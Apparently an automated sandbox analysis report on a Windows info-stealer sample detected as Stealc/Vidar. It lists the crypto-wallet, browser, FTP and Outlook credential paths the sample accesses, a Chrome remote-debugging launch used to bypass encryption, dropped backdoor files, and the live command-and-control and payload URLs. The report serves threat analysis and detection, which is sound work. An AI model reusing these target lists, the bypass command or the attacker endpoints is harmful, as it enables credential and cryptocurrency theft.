Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: n\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: qlI3ReINCV.exe PID: 7400, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: qlI3ReINCV.exe, type: SAMPLE
Source: Yara match	File source: 0.2.qlI3ReINCV.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.qlI3ReINCV.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1730010347.00000000006AB000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1968390990.000000000124E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: qlI3ReINCV.exe PID: 7400, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: qlI3ReINCV.exe PID: 7400, type: MEMORYSTR

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C640C40 sqlite3_bind_zeroblob,		0_2_6C640C40
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C640D60 sqlite3_bind_parameter_name,		0_2_6C640D60

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Create Account	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	111 Process Injection	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	45 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	121 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Masquerading	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	31 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	111 Process Injection	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
qlI3ReINCV.exe	66%	ReversingLabs	Win32.Trojan.Generic
qlI3ReINCV.exe	100%	Avira	TR/Crypt.ZPACK.Gen
qlI3ReINCV.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	100%	Avira	BDS/Backdoor.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\LedgerUpdater[1].exe	100%	Avira	BDS/Backdoor.Gen
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\LedgerUpdater[1].exe	92%	ReversingLabs	Win32.Trojan.Jalapeno
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	92%	ReversingLabs	Win32.Trojan.Jalapeno

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://62.204.41.163/16fa04073490929d.phpy=----CGIJKJJKEBGHJKFIDGCAult-release	100%	Avira URL Cloud	malware
http://62.204.41.163/2c3d53f1da5ea53a/freebl3.dll	100%	Avira URL Cloud	malware
http://foo/View/MainWindow.xaml	0%	Avira URL Cloud	safe
http://62.204.41.1635/LedgerUpdater.exery=----s://support.mozilla.org/kb/customize-firefox-controls-	0%	Avira URL Cloud	safe
http://62.204.41.163/2c3d53f1da5ea53a/vcruntime140.dll	100%	Avira URL Cloud	malware
http://62.204.41.163/2c3d53f1da5ea53a/sqlite3.dll	100%	Avira URL Cloud	malware
http://defaultcontainer/View/MainWindow.xaml	0%	Avira URL Cloud	safe
http://62.204.41.163/2c3d53f1da5ea53a/nss3.dll	100%	Avira URL Cloud	malware
http://62.204.41.163/16fa04073490929d.php$	100%	Avira URL Cloud	malware
http://defaultcontainer/View/MainWindow.xamld	0%	Avira URL Cloud	safe
http://foo/View/MainWindow.xamld	0%	Avira URL Cloud	safe
http://62.204.41.163/2c3d53f1da5ea53a/nss3.dll2	100%	Avira URL Cloud	malware
http://62.204.41.163/2c3d53f1da5ea53a/mozglue.dll	100%	Avira URL Cloud	malware
http://62.204.41.163/2c3d53f1da5ea53a/nss3.dll7(	100%	Avira URL Cloud	malware
http://foo/bar/view/mainwindow.bamld	0%	Avira URL Cloud	safe
http://62.204.41.163/2c3d53f1da5ea53a/msvcp140.dll	100%	Avira URL Cloud	malware
http://62.204.41.163/j	100%	Avira URL Cloud	malware
http://176.113.115.215/LedgerUpdater.exe	100%	Avira URL Cloud	malware
http://62.204.41.163/2c3d53f1da5ea53a/softokn3.dll	100%	Avira URL Cloud	malware
http://62.204.41.163/16fa04073490929d.php14	100%	Avira URL Cloud	malware
http://foo/bar/view/mainwindow.baml	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	216.58.212.142	true	false	high
play.google.com	142.250.186.142	true	false	high
www.google.com	142.250.186.164	true	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://62.204.41.163/2c3d53f1da5ea53a/freebl3.dll	true	Avira URL Cloud: malware	unknown
http://62.204.41.163/2c3d53f1da5ea53a/sqlite3.dll	true	Avira URL Cloud: malware	unknown
http://62.204.41.163/	false		high
http://62.204.41.163/2c3d53f1da5ea53a/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
http://62.204.41.163/2c3d53f1da5ea53a/nss3.dll	true	Avira URL Cloud: malware	unknown
http://62.204.41.163/16fa04073490929d.php	false		high
http://62.204.41.163/2c3d53f1da5ea53a/mozglue.dll	true	Avira URL Cloud: malware	unknown
https://www.google.com/async/newtab_promos	false		high
http://62.204.41.163/2c3d53f1da5ea53a/msvcp140.dll	true	Avira URL Cloud: malware	unknown
http://176.113.115.215/LedgerUpdater.exe	false	Avira URL Cloud: malware	unknown
https://www.google.com/async/ddljson?async=ntp:2	false		high
https://play.google.com/log?format=json&hasfast=true	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false		high
http://62.204.41.163/2c3d53f1da5ea53a/softokn3.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://62.204.41.163/16fa04073490929d.phpy=----CGIJKJJKEBGHJKFIDGCAult-release	qlI3ReINCV.exe, 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	JDGCFBAF.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	FBFHJJJDAFBKEBGDGHCGDBKJEC.0.dr	false		high
https://duckduckgo.com/ac/?q=	JDGCFBAF.0.dr	false		high
http://www.broofa.com	chromecache_78.3.dr	false		high
https://duckduckgo.com/chp	qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1985801776.0000000021902000.00000004.00000020.00020000.00000000.sdmp, BFBFBFIIJDAKECAKKJEH.0.dr	false		high
http://foo/View/MainWindow.xaml	DBFHCGCGDA.exe, 00000009.00000002.1978219901.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	JDGCFBAF.0.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp, qlI3ReINCV.exe, 00000000.00000003.1864093047.0000000021784000.00000004.00000020.00020000.00000000.sdmp	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_81.3.dr	false		high
http://62.204.41.163/16fa04073490929d.php$	qlI3ReINCV.exe, 00000000.00000002.1985801776.000000002194F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	BFBFBFIIJDAKECAKKJEH.0.dr	false		high
http://62.204.41.1635/LedgerUpdater.exery=----s://support.mozilla.org/kb/customize-firefox-controls-	qlI3ReINCV.exe, 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	JDGCFBAF.0.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	false		high
https://duckduckgo.com/chpnacl	qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://62.204.41.163	qlI3ReINCV.exe, 00000000.00000002.1968390990.000000000124E000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmp	false		high
http://defaultcontainer/View/MainWindow.xaml	DBFHCGCGDA.exe, 00000009.00000002.1978219901.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://apis.google.com	chromecache_78.3.dr, chromecache_81.3.dr	false		high
https://domains.google.com/suggest/flow	chromecache_81.3.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1985801776.0000000021902000.00000004.00000020.00020000.00000000.sdmp, BFBFBFIIJDAKECAKKJEH.0.dr	false		high
http://defaultcontainer/View/MainWindow.xamld	DBFHCGCGDA.exe, 00000009.00000002.1978219901.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	qlI3ReINCV.exe, 00000000.00000002.1990282994.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1982602230.000000001B6BD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	qlI3ReINCV.exe, qlI3ReINCV.exe, 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1985801776.0000000021902000.00000004.00000020.00020000.00000000.sdmp, BFBFBFIIJDAKECAKKJEH.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp, JDGCFBAF.0.dr	false		high
